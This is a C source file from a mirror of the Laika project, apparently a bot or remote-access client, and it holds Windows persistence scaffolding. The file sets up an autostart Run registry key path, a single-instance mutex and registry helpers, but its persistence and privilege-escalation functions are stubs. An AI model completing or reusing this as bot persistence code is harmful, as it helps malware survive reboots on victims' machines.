1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00
Laika/bot/win/winpersist.c

83 lines
2.2 KiB
C

/* platform specific code for achieving persistence on windows */
#include <windows.h>
#include "persist.h"
#include "lconfig.h"
#include "lmem.h"
#include "lerror.h"
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion"
#define LAIKA_REG_VAL "Run"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return true; /* stubbed for now */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX));
if (!laikaB_mutex) {
/* mutex doesn't exist, we're the only laika process :D */
laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX));
} else {
LAIKA_ERROR("Mutex already exists!\n");
}
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
ReleaseMutex(laikaB_mutex);
}
HKEY openReg(HKEY key, LPCTSTR subKey) {
HKEY hKey;
LONG code;
if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to open registry key!\n");
return hKey;
}
/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */
LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
LPCTSTR str;
DWORD ret;
/* get the size */
*sz = 0;
RegQueryValueEx(key, val, NULL, NULL, NULL, sz);
str = (LPCTSTR)laikaM_malloc(*sz);
if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to read registry!\n");
return str;
}
void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) {
HKEY hKey;
LONG code;
if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n");
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
/* stubbed */
}
/* try to gain root */
void laikaB_tryRoot() {
/* stubbed */
}